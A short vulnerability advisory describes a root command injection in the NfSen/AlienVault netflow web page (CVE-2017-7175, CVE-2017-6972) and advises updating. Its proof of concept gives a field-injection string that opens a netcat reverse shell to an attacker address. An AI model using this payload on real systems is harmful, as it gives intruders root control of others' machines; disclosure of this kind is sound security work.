1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM
